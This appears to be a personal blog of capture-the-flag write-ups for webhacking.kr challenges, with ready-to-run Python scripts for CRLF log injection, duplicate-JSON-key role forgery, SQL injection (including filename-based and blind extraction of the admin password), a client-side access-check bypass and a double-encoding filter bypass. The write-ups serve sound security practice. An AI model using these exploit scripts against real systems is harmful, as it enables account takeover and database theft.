Hello Navi

Tech, Security & Personal Notes

Challenge

Inject an admin log entry through the login form.

通过登录表单注入 admin 日志记录。

1
https://webhacking.kr/challenge/bonus-9/

Analysis

页面源码注释暴露了 admin.php。提交 id 后,日志查看器会记录客户端地址和输入值,并要求日志行中的身份为 admin。表单输入不能直接携带换行,但 POST body 可以传递 CRLF 序列。将 CRLF 写入 id 后,日志解析器会把后续内容视为新行。

Solution

以下完整脚本在 id 中插入 CRLF,并随后读取题目提供的 admin.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
import argparse

import requests

def main() -> None:
parser = argparse.ArgumentParser(description="Test the old-38 CRLF log payload")
parser.add_argument("--client-ip", required=True)
parser.add_argument("--base", default="https://webhacking.kr")
args = parser.parse_args()

session = requests.Session()
login_url = args.base.rstrip("/") + "/challenge/bonus-9/"
admin_url = login_url + "admin.php"
forged_line = f"guest\r\n{args.client_ip}:admin"

response = session.post(login_url, data={"id": forged_line}, timeout=20)
response.raise_for_status()
print(f"login: {response.status_code} {len(response.content)} bytes")

admin_response = session.get(admin_url, timeout=20)
admin_response.raise_for_status()
print(admin_response.text)

if __name__ == "__main__":
main()

原始 payload 的字面结构为:

1
guest\r\n<client-ip>:admin

<client-ip> 必须替换为当前题目页面显示的客户端地址,不能使用任意地址。admin.php 应在日志地址与当前客户端地址匹配时返回题目结果。

CRLF 可以插入日志行;admin.php 只在日志地址与当前客户端地址匹配时返回结果。

Challenge

Exploit duplicate JSON keys to make validation and storage observe different roles.

利用重复 JSON key,让校验与存储看到不同的 role。

1
https://webhacking.kr/challenge/new-17/

Analysis

注册接口读取原始 JSON 后执行 json_decode($raw_json, true),验证最终解析出的 role 必须为 guest;但原始 JSON 会被存入数据库。重复 key 时,PHP 的 associative decode 使用后一个值,而 MySQL JSON 文档保留重复 key,后续 JSON_EXTRACT(data,'$.role') 取到前一个 admin。

Solution

注册请求体:

1
{"userid":"hermesx","userpw":"hermesy","role":"admin","role":"guest"}

请求:

1
2
POST /challenge/new-17/?page=join_
Content-Type: application/json

随后使用相同 userid/userpw 登录:

1
2
3
POST /challenge/new-17/?page=login_
uid=hermesx
upw=hermesy

Challenge

Solve the Nonogram, then alter the hidden answer field in the log request.

解出 5×5 Nonogram,并提交网格编码。

1
https://webhacking.kr/challenge/web-03/

Analysis

页面把 25 个格子编码为 _1 到 _25,黑格为 1、白格为 0,JavaScript 再按顺序拼成 hidden 字段 _answer。解题后出现的日志表单通过 POST 提交 answer 和 id;answer 会进入查询,而 id 只决定日志中的名字。观察到修改 answer 会改变查询结果后,可以在该字段结束原字符串并追加恒真条件。

5×5 网格按行编码如下:

1
2
3
4
5
10101
00000
01110
01010
11111

按行拼接后得到:

1
1010100000011100101011111

Solution

先用完整网格参数打开 challenge,让服务端进入 Clear 页面;随后复用同一个 session,向日志表单提交 SQL injection。下面的脚本包含两个请求和所有字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
"OLD03_URL", "https://webhacking.kr/challenge/web-03/"
)
GRID = {
"_1": "1",
"_2": "0",
"_3": "1",
"_4": "0",
"_5": "1",
"_6": "0",
"_7": "0",
"_8": "0",
"_9": "0",
"_10": "0",
"_11": "0",
"_12": "1",
"_13": "1",
"_14": "1",
"_15": "0",
"_16": "0",
"_17": "1",
"_18": "0",
"_19": "1",
"_20": "0",
"_21": "1",
"_22": "1",
"_23": "1",
"_24": "1",
"_25": "1",
"_answer": "1010100000011100101011111",
}
INJECTION = "' or 1=1-- "

def main() -> int:
with requests.Session() as session:
clear = session.get(BASE_URL, params=GRID, timeout=10)
clear.raise_for_status()
result = session.post(
BASE_URL,
data={"answer": INJECTION, "id": "writeup"},
timeout=10,
)
result.raise_for_status()
print(result.text)
return 0

if __name__ == "__main__":
sys.exit(main())

-- 后面的空格是 payload 的一部分,用于注释查询剩余内容。answer 必须作为 POST 字段发送,不能只把它放在初始 Nonogram 的 GET 参数中。

Challenge

Bypass the JavaScript-only access check and create the admin user.

绕过只存在于 JavaScript 中的访问控制,并创建 admin 用户。

1
https://webhacking.kr/challenge/web-05/

Analysis

join.php 的表单由混淆 JavaScript 动态生成。脚本只在 Cookie 中出现 oldzombie 且 URL 包含 mode=1 时显示表单,这两个条件都在客户端执行,因此可以直接构造请求访问注册接口。

注册接口拒绝精确的 admin。可将 id 设为 20 个空格后接 admin,注册后再用 admin 登录;该边界行为依赖目标部署的字段截断与比较规则。

Solution

下面的脚本用同一个 session 完成注册和登录。REGISTER_ID 中的 20 个空格必须保留;直接在浏览器表单输入可能被 maxlength 截断,所以脚本直接发送 POST body。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
"OLD05_URL", "https://webhacking.kr/challenge/web-05"
)
JOIN_URL = f"{BASE_URL}/mem/join.php?mode=1"
LOGIN_URL = f"{BASE_URL}/mem/login.php"
COOKIE_NAME = "oldzombie"
REGISTER_ID = (" " * 20) + "admin"
LOGIN_ID = "admin"
PASSWORD = "1234"

def main() -> int:
with requests.Session() as session:
session.cookies.set(COOKIE_NAME, "hello")
register = session.post(
JOIN_URL,
data={"id": REGISTER_ID, "pw": PASSWORD},
timeout=10,
)
register.raise_for_status()
print(register.text)

login = session.post(
LOGIN_URL,
data={"id": LOGIN_ID, "pw": PASSWORD},
timeout=10,
)
login.raise_for_status()
print(login.text)
return 0

if __name__ == "__main__":
sys.exit(main())

如果客户端或代理会裁剪前导空格,应确认原始 form body 仍包含 20 个空格后再发送。mode=1 只用于打开注册页面,oldzombie=hello 只用于通过 JavaScript 检查。

注册字段的前导空格数量取决于题目部署的字段长度与比较规则;复现时以目标响应确认服务端是否保留 20 个空格。

Challenge

Log in as admin through the password-hash SQL injection.

通过密码哈希 SQL injection 以 admin 身份登录。

1
https://webhacking.kr/challenge/bonus-2/

Analysis

登录接口把 uuid 放入用户查询,返回值能区分 Wrong password! 与 Login Fail!。前者表示注入条件命中了记录但提交的密码不匹配,后者表示条件没有命中,所以可以用同一个 oracle 逐字符读取 admin 的 pw 字段。

已知该字段是 32 位十六进制 MD5,注册并登录普通账号可以确认服务端计算的是 md5(password + "apple")。MD5 结果需要通过候选明文重新计算并比较;拿到 admin 的 digest 后,应对候选明文逐个计算 md5(candidate + "apple") 并比较。

Solution

下面的脚本包含完整的 blind SQLi、MD5 验证和正常登录请求。候选密码通过命令行传入,区分哈希值与明文候选:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import argparse
import hashlib

import requests

URL = "https://webhacking.kr/challenge/bonus-2/index.php"
TRUE_MARKER = "wrong password!"
FALSE_MARKER = "login fail"

def oracle(session, condition):
injection = f"admin' and ({condition})#"
response = session.post(
URL,
data={"uuid": injection, "pw": "probe"},
timeout=10,
)
response.raise_for_status()
body = response.text.lower()
if TRUE_MARKER in body:
return True
if FALSE_MARKER in body:
return False
raise RuntimeError("response did not contain a known oracle marker")

def recover_hash(session):
digest_length = 32
hex_chars = "0123456789abcdef"
result = []
for position in range(1, digest_length + 1):
for char in hex_chars:
code = ord(char)
condition = f"ascii(substr(pw,{position},1))={code}"
if oracle(session, condition):
result.append(char)
break
else:
raise RuntimeError(f"hash character at position {position} was not found")
return "".join(result)

def find_candidate(digest, candidates):
for candidate in candidates:
calculated = hashlib.md5((candidate + "apple").encode("utf-8")).hexdigest()
if calculated == digest:
return candidate
raise RuntimeError("no candidate matched the recovered digest")

def login(session, password):
response = session.post(
URL,
data={"uuid": "admin", "pw": password},
timeout=10,
)
response.raise_for_status()
return response

def main():
parser = argparse.ArgumentParser()
parser.add_argument("--candidate", action="append", required=True)
args = parser.parse_args()

with requests.Session() as session:
digest = recover_hash(session)
password = find_candidate(digest, args.candidate)
result = login(session, password)
print(digest)
print(result.status_code)
print(result.text)

if __name__ == "__main__":
main()

# 注释掉原查询剩余部分,substr 的位置从 1 开始;脚本只把字符集限定为 MD5 的十六进制字符。候选集必须覆盖真实明文,SQLi 本身只能取出 hash。

Challenge

Bypass the filter that rejects the literal admin value.

绕过拒绝字面量 admin 的过滤器。

1
https://webhacking.kr/challenge/web-11/

Analysis

服务端先在原始参数中检查 admin,之后才调用 urldecode()。因此需要两层 URL encoding:HTTP 层第一次解码后,PHP 的过滤器仍只能看到 %61%64%6d%69%6e;代码再次调用 urldecode() 后,值才变成 admin 并通过后续判断。

Solution

完整 Python 请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/web-11/"
PAYLOAD = "%2561%2564%256d%2569%256e"

def main() -> None:
# 直接拼接已双重编码的值,保留两层百分号编码。
response = requests.get(
BASE_URL + "?id=" + PAYLOAD,
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

解码过程是:%2561%2564%256d%2569%256e → %61%64%6d%69%6e → admin。

Challenge

Extract the flag from another table through the uploaded filename.

利用上传文件名从另一张表提取 flag。

1
https://webhacking.kr/challenge/web-14/

Analysis

上传请求的 multipart filename 被直接写入 SQL。页面显示字段顺序是 time | ip | file,但 INSERT 的值顺序是 file, time, ip。文件名中的单引号可以结束第一个 file 值,然后追加第二行 INSERT,把子查询结果写进列表可见的文件名列;末尾的 # 注释掉原查询余下部分。列表只显示当前客户端 IP 的记录,因此三处 IP 值必须与当前页面显示的地址一致。

Solution

下面的完整脚本用同一个 multipart 请求发送每个 filename payload。CLIENT_IP 必须替换为题目页面显示的当前客户端地址;它是请求环境值,不是 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import requests

BASE_URL = "http://webhacking.kr:10004/"
CLIENT_IP = "<client-ip>"

def filename_for(expression: str) -> str:
return (
"abc',123,'{ip}'),"
"((SELECT {expression}),123,'{ip}')#"
).format(ip=CLIENT_IP, expression=expression)

def upload_and_print(session: requests.Session, expression: str) -> None:
filename = filename_for(expression)
response = session.post(
BASE_URL,
files={
"upfile": (filename, b"", "application/octet-stream"),
},
timeout=20,
)
response.raise_for_status()
print(response.text)

def main() -> None:
session = requests.Session()
upload_and_print(session, "DATABASE()")
upload_and_print(
session,
"GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES "
"WHERE TABLE_SCHEMA='chall29'",
)
upload_and_print(
session,
"GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS "
"WHERE TABLE_NAME='flag_congratz'",
)
upload_and_print(session, "flag FROM flag_congratz")

if __name__ == "__main__":
main()

查询顺序是数据库名、表名、列名、flag。读取 flag 后填入认证表单。

CLIENT_IP 和题目端口的记录筛选都与当前请求环境绑定;先读取页面显示的地址再运行,否则插入的记录可能不会回显。

Challenge

Match the server-side regular expression.

构造满足服务端正则表达式的输入。

1
https://webhacking.kr/challenge/code-2/

Analysis

服务端把 val 与下面的正则匹配:

1
$pat = "/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";

因此输入需要依次包含:

  1. 1 到 3 中的一个数字;
  2. 五个 a 到 f 的字符;
  3. 下划线和服务端看到的 REMOTE_ADDR;
  4. 以 Tab 分隔的 p、a、s、s。

URL 中用 %09 表示 Tab。正则只要求匹配,不要求前缀或五个字母取特定值。

Solution

把 <REMOTE_ADDR> 替换成服务端在当前请求中看到的来源 IP,访问下面的完整路径:

1
https://webhacking.kr/challenge/code-2/?val=1aaaaa_<REMOTE_ADDR>%09p%09a%09s%09s

请求满足正则后即可进入题目完成分支。

IP 由请求连接决定;代理、NAT 或题目部署变化都可能使服务端看到不同的 REMOTE_ADDR,复现时应使用当前请求对应的值。

Challenge

Submit the captcha before the two-second deadline.

在两秒时限内提交验证码。

1
https://webhacking.kr/challenge/code-4/

Analysis

GET 响应同时给出本次页面实例的 captcha 和 st Cookie。服务端用 st 判断时限,并要求 POST 的 captcha 与本次页面生成的值相同;因此 GET 和 POST 必须使用同一个 requests.Session。不能预先保存验证码,也不能把下一次 GET 得到的 st 与旧验证码混用。

Solution

下面的脚本完整完成一次 GET、解析 captcha、复用 Cookie 并构造 POST。它只打印响应,不包含账号或固定 session 值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import re

import requests

URL = "https://webhacking.kr/challenge/code-4/"
CAPTCHA_PATTERN = re.compile(
r"<input[^>]+name=[\"']?captcha_[\"']?[^>]+value=[\"']([^\"']+)[\"']",
re.IGNORECASE,
)

def extract_captcha(html):
match = CAPTCHA_PATTERN.search(html)
if not match:
raise RuntimeError("captcha input was not found")
return match.group(1)

def solve_once():
with requests.Session() as session:
response = session.get(URL, timeout=10)
response.raise_for_status()

captcha = extract_captcha(response.text)
if "st" not in session.cookies:
raise RuntimeError("st cookie was not set by the GET response")

post_response = session.post(
URL,
data={"id": "demo", "cmt": "hello", "captcha": captcha},
timeout=10,
)
post_response.raise_for_status()
return post_response

if __name__ == "__main__":
result = solve_once()
print(result.status_code)
print(result.text)

Challenge

Extract the admin password from the blind SQL injection oracle.

通过 blind SQL injection oracle 提取 admin 密码。

1
https://webhacking.kr/challenge/bonus-1/

Analysis

登录结果提供了一个布尔 oracle:查询条件成立但提交的密码不匹配时返回 wrong password,条件不成立时返回 login fail。把注入放在 id 参数中,先闭合原来的引号,再限定 id='admin',就能逐次测试 length(pw) 和 ascii(substr(pw, position, 1))。

脚本使用 -- 注释服务端拼接在输入后的引号;requests 会负责对参数中的引号和空格做 URL 编码。每个猜测都单独请求,响应文本只用于判断真或假。

Solution

下面的脚本先枚举长度,再枚举每个字符,随后用得到的密码构造一次正常登录请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests

URL = "https://webhacking.kr/challenge/bonus-1/"
TRUE_MARKER = "wrong password"
FALSE_MARKER = "login fail"

def oracle(session, condition):
injection = f"admin' and ({condition}) or '1'='0' -- "
response = session.get(
URL,
params={"id": injection, "pw": "probe"},
timeout=10,
)
response.raise_for_status()
body = response.text.lower()
if TRUE_MARKER in body:
return True
if FALSE_MARKER in body:
return False
raise RuntimeError("response did not contain a known oracle marker")

def recover_password(session):
password_length = None
for length in range(1, 101):
if oracle(session, f"length(pw)={length}"):
password_length = length
break
if password_length is None:
raise RuntimeError("password length was not found")

password_chars = []
for position in range(1, password_length + 1):
for code in range(32, 127):
condition = f"ascii(substr(pw,{position},1))={code}"
if oracle(session, condition):
password_chars.append(chr(code))
break
else:
raise RuntimeError(f"character at position {position} was not found")
return "".join(password_chars)

def login(session, password):
response = session.get(
URL,
params={"id": "admin", "pw": password},
timeout=10,
)
response.raise_for_status()
return response

if __name__ == "__main__":
with requests.Session() as session:
password = recover_password(session)
print(password)
result = login(session, password)
print(result.status_code)
print(result.text)

length(pw) 确定循环边界,substr 的位置从 1 开始;每个字符只有在 oracle 判真时才加入结果,避免把 guest 记录误当成 admin 记录。